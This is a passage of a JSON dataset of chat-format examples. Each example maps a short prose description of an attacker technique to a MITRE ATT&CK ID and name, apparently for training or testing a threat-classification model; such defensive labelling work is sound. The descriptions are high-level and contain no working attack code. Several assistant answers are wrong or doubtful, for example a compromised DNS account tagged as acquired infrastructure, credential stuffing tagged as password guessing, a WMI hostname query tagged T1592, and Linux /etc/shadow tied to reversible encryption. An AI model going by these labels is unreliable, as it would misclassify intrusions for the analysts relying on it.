                "content": "The attacker disguises a payload inside a .chm file, which, when the victim opens it, uses the HTML Help subsystem to execute a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware employs process hollowing by injecting a malicious DLL into a system service process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a supply chain attack to tamper with serverless deployment packages in a CI/CD pipeline."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers hide malicious code inside a shortcut's target path while using a system icon to make the file look innocuous."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs a DCSync attack, calling the DC's NetLogon Remote Protocol to harvest credential data for domain users."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised an existing DNS provider account and used it to add malicious records for the victim’s domain."
            },
            {
                "role": "assistant",
                "content": "T1583.002 - Acquire Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware encrypts all files on mounted network drives and leaves a note on each directory root."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker manipulated a build server to embed a stolen code signing certificate into a malicious installer."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disabled the host‑based firewall by modifying its configuration files."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary extracts password hashes by reading /etc/shadow and user account information from /etc/passwd on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit script checks the system's MAC address prefix against known virtual NIC vendor IDs to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool uses a cloud storage service to drop logs via a single outbound request, never awaiting a response from the server."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a firmware update server to deliver tampered BIOS images to target machines, enabling persistence."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed automated TCP SYN scans of the 172.16.0.0/12 address range to enumerate services running on reachable hosts."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant exfiltrates data by embedding it in the body of HTTP POST requests that are also used for C2 beaconing."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the System Script Proxy Execution: PubPrn technique, the threat actor injects a VBScript into the printer service, which then executes it as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script was placed in the System32 directory and named \"taskmgr.exe\" to masquerade as the Task Manager."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a call claiming to be a legal authority and requests the victim's personal data."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor extracts the SystemRoot environment variable by querying the registry."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A botnet exploits publicly reachable Memcached servers by sending UDP requests with a falsified source address of the target, resulting in amplified traffic floods."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a DLL search order hijack, the attacker places a malicious DLL in the same folder as the Terminal Services binary, causing it to be loaded when the service starts."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware parses the Group Policy Preferences registry.pol files looking for hidden password fields."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries extract credentials stored in a Docker .env file that is not encrypted and is included in the image layers."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages msiexec.exe to execute a payload embedded in an MSI, using the system binary as a proxy to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses API hooking on the LogonUserExExW function to capture cleartext credentials entered during user logon."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation script locates and exfiltrates the smart card certificate store files to enable unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gathers IPv6 address ranges associated with the target through public network databases."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer is designed to execute a PowerShell script as soon as the victim initiates the install process."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan modifies its PE file by appending random data and alignment bytes, making hash‑based detection difficult."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A virus leverages Active Setup by creating a key that points to a malicious JavaScript file executed at user login."
            },
            {
                "role": "assistant",
                "content": "T1547.014 - Boot or Logon Autostart Execution: Active Setup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy Trojan modifies the KernelCallbackTable to intercept and log keyboard input before forwarding it."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code calls native Windows API functions directly to execute shellcode without using external binaries."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a race condition, the malicious code creates a child process that masquerades as a child of a system service."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group leveraged a compromised API token to roll back a terminated DigitalOcean droplet, regaining their malicious presence."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware queries https://api.ipify.org to discover the host's external IP for later C2 communication."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs a script that calls SystemInformation to discover the host's building and floor details."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary alters the endpoint's security configuration to filter out any network traffic that matches known malicious indicator signatures, effectively blocking detection."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom tool to embed malicious code into a virtual machine's internal image before deployment."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool is used to create forged Kerberos tickets that allow the attacker to bypass multi‑factor authentication."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders adjust the domain trust hierarchy, inserting a trust to a compromised forest to bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated actor adjusts the corporate email system’s routing rules to discard any outbound messages containing exfiltrated data, covering their tracks."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan scans the user's Documents folder for exported email archives and uploads them to C2."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool resets the timestamps of exfiltrated data files to avoid triggering alerts based on file age."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker distributes a malicious MSI package that runs its payload automatically when the victim installs the package via Windows Installer."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During post‑exploitation, the actor swaps the hashed passwords in /etc/shadow with reversibly encrypted equivalents, enabling credential recovery on demand."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware enumerates the victim's installed web browsers and extracts version details from the registry."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fileless malware hides its executable code in the Windows Clipboard and then executes it via a memory injection technique."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs 'wmic useraccount where (Domain='<domain>') get name' to extract domain account names."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers an integer overflow in a database daemon, allowing extraction of stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged the Kubernetes API to run arbitrary commands inside a pod with \"kubectl exec\"."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits the Win32 API OpenProcess to call NtShutdownSystem, causing an immediate system power off."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs credential stuffing by using a list of leaked passwords to brute-force user accounts on a web application."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan harvests application data stored on the local machine and exfiltrates it."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor updates the registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA to 0, attempting to disable User Account Control."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the policy that governs which certificates are trusted for code signing, the threat actor enabled execution of malicious code signed with a self‑generated key."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a valid code signing certificate from a third‑party vendor and use it to sign payloads that are then trusted by the victim's endpoint protection."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries compromised a Microsoft Teams client and scraped stored credentials from chat conversations to gain further access to corporate resources."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder deployed a rogue web service that mimicked the legitimate \"Windows Remote Management\" service, using the same service name and description."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gained access to a cloud service provider’s API gateway by exploiting a leaked private key in a public GitHub repository."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT employs PowerShell to enumerate user accounts and group memberships on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker crafts a URL parameter containing {{ .\\*\\*\\* }} which the server's template parser evaluates, resulting in command execution on the backend."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was executed by abusing the Regasm utility to load a COM object."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the hostname and domain name from the compromised host via WMI queries."
            },
            {
                "role": "assistant",
                "content": "T1592 - Gather Victim Host Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code accesses a public pastebin page to fetch encoded commands, using the site as a dead‑drop resolver to avoid direct C2 connections."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code scrapes employee manuals and policy PDFs from the company's intranet knowledge base."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom driver, the attacker reads the NTFS MFT directly to enumerate all files on the volume."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker embeds a .c file in a legitimate binary, then triggers the system's compiler to build a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload parses saved email files in the victim’s Documents folder to collect communications."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a legitimate file transfer utility to deliver a credential dumping tool to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries performed lateral movement by connecting to multiple workstations via SSH with stolen private keys."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker configures a scheduled job in Azure Automation to periodically exfiltrate data from cloud storage."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes 'net localgroup administrators' to discover privileged local groups."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs the 'net start' command to list active services on compromised Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses mshta to execute a script that disables security tools before delivering its main payload."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged 'docker exec' with the '-u root' flag to gain root access inside the container and then pivoted to the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan disguises its C2 traffic as legitimate WhatsApp messages sent through the WhatsApp Business API."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary spawns a new window within a target process and injects code via the extra window memory region to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
